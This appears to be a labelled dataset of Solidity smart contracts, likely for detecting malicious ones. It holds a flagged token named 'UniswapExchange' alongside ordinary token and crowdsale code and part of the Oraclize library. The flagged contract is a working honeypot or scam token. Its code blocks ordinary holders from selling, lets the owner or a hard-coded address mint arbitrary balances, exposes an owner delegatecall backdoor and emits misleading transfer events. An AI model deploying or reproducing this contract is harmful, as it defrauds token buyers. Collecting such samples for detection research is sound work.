return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,784 |
pragma solidity ^0.4.21;
library SafeMath
{
function mul(uint a, uint b) internal returns (uint)
{
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint)
{
assert(b > 0);
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint)
{
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64)
{
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64)
{
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256)
{
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256)
{
return a < b ? a : b;
}
function assert(bool assertion) internal
{
if (!assertion)
{
throw;
}
}
}
contract ERC20Basic
{
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic
{
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic
{
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size)
{
if(msg.data.length < size + 4)
{
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance)
{
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20
{
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32)
{
uint _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value)
{
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining)
{
return allowed[_owner][_spender];
}
}
contract TUINETWORK is StandardToken
{
string public name = "TUINETWORK";
string public symbol = "TUI";
uint public decimals = 8 ;
uint public INITIAL_SUPPLY = 1680000000000000000;
uint public constant ALLOCATION_LOCK_END_TIMESTAMP = 1559347200;
address public constant TUI_ADDRESS = 0xCE08f414D107Fd863a3EAbb9817E6F85B81358ab;
uint public constant TUI_ALLOCATION = 1000000000000000000;
function TUINETWORK()
{
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = totalSupply;
balances[msg.sender] -= TUI_ALLOCATION;
balances[TUI_ADDRESS] = TUI_ALLOCATION;
}
function isAllocationLocked(address _spender) constant returns (bool)
{
return inAllocationLockPeriod() && isTeamMember(_spender);
}
function inAllocationLockPeriod() constant returns (bool)
{
return (block.timestamp < ALLOCATION_LOCK_END_TIMESTAMP);
}
function isTeamMember(address _spender) constant returns (bool)
{
return _spender == TUI_ADDRESS ;
}
function approve(address spender, uint tokens)
{
if (isAllocationLocked(spender))
{
throw;
}
else
{
super.approve(spender, tokens);
}
}
function transfer(address to, uint tokens) onlyPayloadSize(2 * 32)
{
if (isAllocationLocked(to))
{
throw;
}
else
{
super.transfer(to, tokens);
}
}
function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32)
{
if (isAllocationLocked(from) || isAllocationLocked(to))
{
throw;
}
else
{
super.transferFrom(from, to, tokens);
}
}
} | 0 | 997 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
isWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
constructor(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
constructor(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function withdrawTokens() public {
require(hasClosed());
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
_deliverTokens(msg.sender, amount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract OraclizeContractInterface {
function finalize() public;
function buyTokensWithLTC(address _ethWallet, string _ltcWallet, uint256 _ltcAmount) public;
function buyTokensWithBTC(address _ethWallet, string _btcWallet, uint256 _btcAmount) public;
function buyTokensWithBNB(address _ethWallet, string _bnbWallet, uint256 _bnbAmount) public payable;
function buyTokensWithBCH(address _ethWallet, string _bchWallet, uint256 _bchAmount) public payable;
function getMultiCurrencyInvestorContribution(string _currencyWallet) public view returns(uint256);
}
contract BurnableTokenInterface {
function burn(uint256 _value) public;
}
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
